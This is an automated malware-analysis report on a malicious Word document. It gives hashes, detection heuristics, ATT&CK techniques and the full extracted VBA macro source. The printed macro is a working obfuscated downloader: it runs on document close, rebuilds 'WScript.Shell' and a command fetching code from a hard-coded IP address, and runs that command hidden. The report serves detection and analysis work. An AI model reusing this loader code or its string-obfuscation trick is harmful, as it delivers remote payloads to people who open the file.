Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b7fe03048f861222…

MALICIOUS

Office (OOXML)

54.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-04-06
MD5: adc3f050e41ce0dcdfae7070838b5350 SHA-1: a227fca87c1bb0ac4e0094101ce96c5d7987a417 SHA-256: b7fe03048f861222f9a161369e5eb38f67b13eb0de4050be089b394c7f30c593
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains highly obfuscated VBA macros, including an Auto_Close macro and CreateObject calls, which are indicative of a downloader. The script attempts to construct a URL and execute it using WScript.Shell, likely to fetch and run a secondary payload. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' further supports the malicious nature of this document.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2637 bytes
SHA-256: 06d059b1b2c566f2e53c7589631b65e5e8d3d87dc4f20ed1fc5399afd8ac0807
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub berro()
 PQXgUTMpinn = 1034 + 1552
zuwFWYJvoq = 1726 + 563 + 113 + 120 + 1512 + 1908
RPDDQWVUMWxc = "i" & Trim("J") & "Z" & Trim("o")

 oxala = "PuHyKjbZQCZpjgAwxSBcfzpihyFyIbroIwObLfyiUFjLEGMOB hyFyIbroIwObLyFyIbroIwObLp://104.144.207.225/LEX/jgAwxSBcfzpiniyFyIbroIwObLch.php?uyFyIbroIwObLPuHyKjbZQCZpfyiUFjLEGMOB=projf"
oxala = Replace(oxala, "PuHyKjbZQCZp", "m")
dUVvcCox = 222 + 779 + 1401
QfyREHbfAcbT = 916 - 169
oxala = Replace(oxala, "fyiUFjLEGMOB", "a")
jqciixrGLNHf = "w" & "O" & Trim("A")
oxala = Replace(oxala, "jgAwxSBcfzpi", "s")
PDDypiyyRv = "j" & "C"
xLKFMjYGH = 1067 + 388 + 1497 + 1854
GoMfKTKJXiyy = Trim("Z") & "L" & "g"
oxala = Replace(oxala, "yFyIbroIwObL", "t")
SrdokzCpfwzF = 855 + 1098 + 305 + 218
bcVIBnTfNM = "E" & Trim("W") & "J"
OJGOBZPGjB = 1277 - 1997
oxala = Replace(oxala, "WbxwoXoiMXxV", "e")
bHfgnMIQT = 1644 + 1314 + 1529 + 564 + 1128 + 1872
GAzZVwjNT = 1441 + 1160 + 105 + 1236 + 1452 + 1090 + 1421 + 158
oxala = Replace(oxala, "gHzZHyUwOoLY", "l")
UgvnqgB = "E" & "y" & Trim("x") & Trim("n") & "y"
fHvSxDkN = 212 + 1738 + 1983 + 1094

oftalmologo = "WScripkBUoxWnOvXcK.ShJEMCONJnSGnZJBUMpVHOdMMTJBUMpVHOdMMT"
oftalmologo = Replace(oftalmologo, "xNzkZdvzKAjw", "m")
inMynzqpAA = 1076 + 699 + 1294 + 1415
UnPOiWKr = 1379 - 1423 - 1013
oftalmologo = Replace(oftalmologo, "EVLgqOnwjMqN", "a")
GMpECqQVr = 520 - 903 - 273
uqDdUrzD = Trim("r") & "d" & "N"
RRSXkRCjWwg = 1134 - 312 - 1451 - 1884 - 1888 - 171
oftalmologo = Replace(oftalmologo, "oZSWdYErOUQG", "s")
oftalmologo = Replace(oftalmologo, "kBUoxWnOvXcK", "t")
ZMFYfORkVWv = "P" & Trim("V") & Trim("C") & Trim("M")
oftalmologo = Replace(oftalmologo, "JEMCONJnSGnZ", "e")
LirpvUIkdDyj = 154 + 1014
oftalmologo = Replace(oftalmologo, "JBUMpVHOdMMT", "l")


 CreateObject(oftalmologo).Run oxala, 0
 ByGDTKWU = 832 + 1239 + 1673
gLXMLjQQc = "q" & "u" & "D"
rFTSVFcii = 1715 + 411 + 593 + 443 + 826
ZSVBLuPdZ = "L" & "M" & Trim("i") & Trim("i") & "B"
rpuruXFQD = 477 - 740 - 601 - 1612 - 1017 - 1246 - 1415

End Sub

Sub AutoClose()

  uAQCLLKX = 1271 + 1144 + 687 + 1175 + 318 + 1764
XCGFPQq = 1 + 1304
ErKirBVvIGS = 1091 + 849 + 1895 + 1690

  Application.Run "berro"
  AMwdfnSPDVCM = 1706 + 1210 + 898 + 1260
QrLEUdMID = 1840 - 234
vxYDGzHgoSd = "n" & Trim("y") & Trim("N") & "T"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 31dad25664fcf2b6dd30da8767e4305b7e4e1313f929565922d535e2faf8922b
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely